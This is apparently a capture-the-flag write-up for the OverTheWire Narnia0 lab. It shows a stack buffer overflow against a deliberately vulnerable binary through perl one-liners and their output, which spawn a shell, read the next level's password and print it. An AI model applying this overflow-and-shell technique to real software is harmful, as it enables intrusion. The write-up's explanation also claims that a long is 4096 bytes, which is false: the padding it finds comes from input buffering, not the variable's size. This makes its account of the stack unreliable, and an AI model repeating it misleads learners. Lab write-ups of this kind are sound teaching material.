Narnia Level 0

This is a solution guide to the Narnia0 Level at overthewire. This write-up was created on 19 November 2014.

Challenge Description: Narnia0 is the beginning challenge for pwnable style challenges on overthewire. It requires the attacker to utilize a buffer overflow in order to overwrite a variable named val with the hexidecimal value 0xdeadbeef. When the attack is successful the vulnerable program will execute a system command which produces a shell. This challenge requires the attacker to send hexidecimal values after determining the buffer overflow offset.

First connect to the lab

  • ssh narnia0@narnia.labs.overthewire.org
  • Enter the following as the password narnia0

Change directories to the narnia games folder cd /narnia. First let’s examine how we get the password for the next level less /README.txt. This machine holds several wargames. For a generic wargame named “somegame”, the usernames are: mygame0, mygame1, … and most levels are stored in /mygame/. Passwords for each level are stored in /etc/mygame_pass/

So let’s try reading the password without any additional work, cat /etc/narnia_pass/narnia1

narnia0@melinda:/narnia$ cat /etc/narnia_pass/narnia1
cat: /etc/narnia_pass/narnia1: Permission denied
narnia0@melinda:/narnia$ 

Well that didn’t work, so lets check out the challenge next. Notice all the different files and find the level 0 binary.

narnia0@melinda:/narnia$ ls
narnia0    narnia1.c  narnia3    narnia4.c  narnia6    narnia7.c
narnia0.c  narnia2    narnia3.c  narnia5    narnia6.c  narnia8
narnia1    narnia2.c  narnia4    narnia5.c  narnia7    narnia8.c
narnia0@melinda:/narnia$

I start by checking what the file does

narnia0@melinda:/narnia$ ./narnia0
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: AAAA %p
buf: AAAA
val: 0x41414141
WAY OFF!!!!
narnia0@melinda:/narnia$

Well that’s interesting that it did something weird with %p. Now let’s check the source code, type out cat narnia0.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#include <stdio.h>
#include <stdlib.h>

  int main(){
  	long val=0x41414141;
// notice the buffer here is 20, which means there may be a potential for a buffer overflow
  	char buf[20];   

  	printf("Correct val's value from 0x41414141 -> 0xdeadbeef!\n");
  	printf("Here is your chance: ");
  	scanf("%24s",&buf);   
//notice the buffer read in from the command prompt above is a 24 byte string
//this means that we have a 4 byte overflow

  	printf("buf: %s\n",buf);        //here it prints the 20 bytes from char buf
  	printf("val: 0x%08x\n",val);    //the 4 bytes that overflow fall into val 
  	                                //because it was initialized on the stack below it

  	if(val==0xdeadbeef)             //a successful overflow input will give me a shell!
  		system("/bin/sh");            //system passes a command to the shell and in
  		                              //this case attempts to open a shell
  	else {
  		printf("WAY OFF!!!!\n");
  		exit(1);
  	}

  	return 0;
  }

From inspecting the code we can see that the stack looks something like this:


||-------------------------||
||                         ||
||                         ||
|| char buff ( 20 bytes )  ||       
||                         ||
||                         ||
||-------------------------||
||   long val ( 4 bytes )  ||
||-------------------------||

Alright now that I know this let’s try some crafted input.

narnia0@melinda:/narnia$ perl -e 'print "A"x20 . "BBBB"' | ./narnia0
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: AAAAAAAAAAAAAAAAAAAABBBB
val: 0x42424242
WAY OFF!!!!
narnia0@melinda:/narnia$

Well that’s great, we’ve just confirmed that we can affect what goes into long val. It’s confirmed that i can overwrite the buffer. Apaprently, I was correct in how the stack looked and inside it would look similar to this (except in hexadecimal representation).


        ||--------------||
        ||  0x41414141  ||    
        ||  0x41414141  ||
        ||  0x41414141  ||     
        ||  0x41414141  ||
        ||  0x41414141  ||
        ||--------------||
        ||  0x42424242  ||     
        ||--------------||

Note that 0x41 = A and 0x42 = B, char buff is ( 20 bytes ), and long val is ( 4 bytes ). Now let’s try it with deadbeef in there.

narnia0@melinda:/narnia$ perl -e 'print "A"x20 . "deadbeef"' | ./narnia0
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: AAAAAAAAAAAAAAAAAAAAdead
val: 0x64616564
WAY OFF!!!!
narnia0@melinda:/narnia$

Well that didn’t work, because scanf is accepting string characters. So now we need a way to get the proper “characters” in so that it will display 0xdeadbeef. Remember that you also have to craft the input to be little endian (I think of this as the input has to be spelled backwards).

narnia0@melinda:/narnia$ perl -e 'print "A"x20 . "\xef\xbe\xad\xde"' | ./narnia0
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: AAAAAAAAAAAAAAAAAAAAᆳ?
val: 0xdeadbeef
narnia0@melinda:/narnia$

Well that’s weird I didn’t get a shell, but the WAY OFF!!!! didn’t show. At this point I realized that the /bin/sh needed an input to follow the system command. So then I added more input onto the end.

narnia0@melinda:/narnia$ perl -e 'print "A"x20 . "\xef\xbe\xad\xde" . "cat /etc/narnia0_pass/narnia1"' | ./narnia0
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: AAAAAAAAAAAAAAAAAAAAᆳ?
val: 0xdeadbeef
narnia0@melinda:/narnia$

Still no solution. Now I want to create a situation where the program does something unintentional.

narnia0@melinda:/narnia$ perl -e 'print "A"x20 . "\xef\xbe\xad\xde"x1100 . "cat /etc/narnia0_pass/narnia1"' | ./narnia0
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: AAAAAAAAAAAAAAAAAAAAᆳ?
val: 0xdeadbeef
/bin/sh: 1: ᆳ?ᆳ?ᆳ?ᆳ?ᆳ?ᆳ?ᆳ?ᆳ?ᆳ?ᆳ?ᆳ?ᆳ?ᆳ?ᆳ?ᆳ?ᆳ?ᆳ?ᆳ?ᆳ?ᆳ?ᆳ?ᆳ?ᆳ?ᆳ?ᆳ?ᆳ?ᆳ?ᆳ?ᆳ?ᆳ?ᆳ?ᆳ?ᆳ?ᆳ?ᆳ?ᆳ?ᆳ?ᆳ?ᆳ?ᆳ?ᆳ?ᆳ?ᆳ?ᆳ?ᆳ?ᆳ?ᆳ?ᆳ?ᆳ?ᆳ?ᆳ?ᆳ?ᆳ?ᆳ?ᆳ?ᆳ?ᆳ?ᆳ?ᆳ?ᆳ?ᆳ?ᆳ?ᆳ?ᆳ?ᆳ?ᆳ?ᆳ?ᆳ?ᆳ?ᆳ?ᆳ?ᆳ?ᆳ?ᆳ?ᆳ?ᆳ?ᆳ?ᆳ?ᆳ?ᆳ?ᆳ?cat: Filename too long
narnia0@melinda:/narnia$

||-------------------------||
||                         ||
||                         ||   
|| char buff ( 20 bytes )  ||   
||                         ||    
||                         ||   
||-------------------------||  
||  buff overflow (4 bytes)||     
          .......                
|| long val ( 4092 bytes ) ||         
          .......
||                         ||
||-------------------------||

So I discovered I had the stack improperly setup because a long is actually 4096 bytes in size. This was demonstrated by the fact /bin/sh received the input that overflowed from the crafted string that I sent. Well that was useful, now lets whittle it down so that the /bin/sh command takes the correct input. All I should have to do now is remove the extra bytes.

narnia0@melinda:/narnia$ perl -e 'print "A"x20 . "\xef\xbe\xad\xde" . "B"x4072 . "cat /etc/narnia_pass/narnia1"' | ./narnia0
Correct val's value from 0x41414141 -> 0xdeadbeef!
Here is your chance: buf: AAAAAAAAAAAAAAAAAAAAᆳ?
val: 0xdeadbeef
efeidiedae
narnia0@melinda:/narnia$

BINGO! We have a solution. The password file for narnia1 is efeidiedae.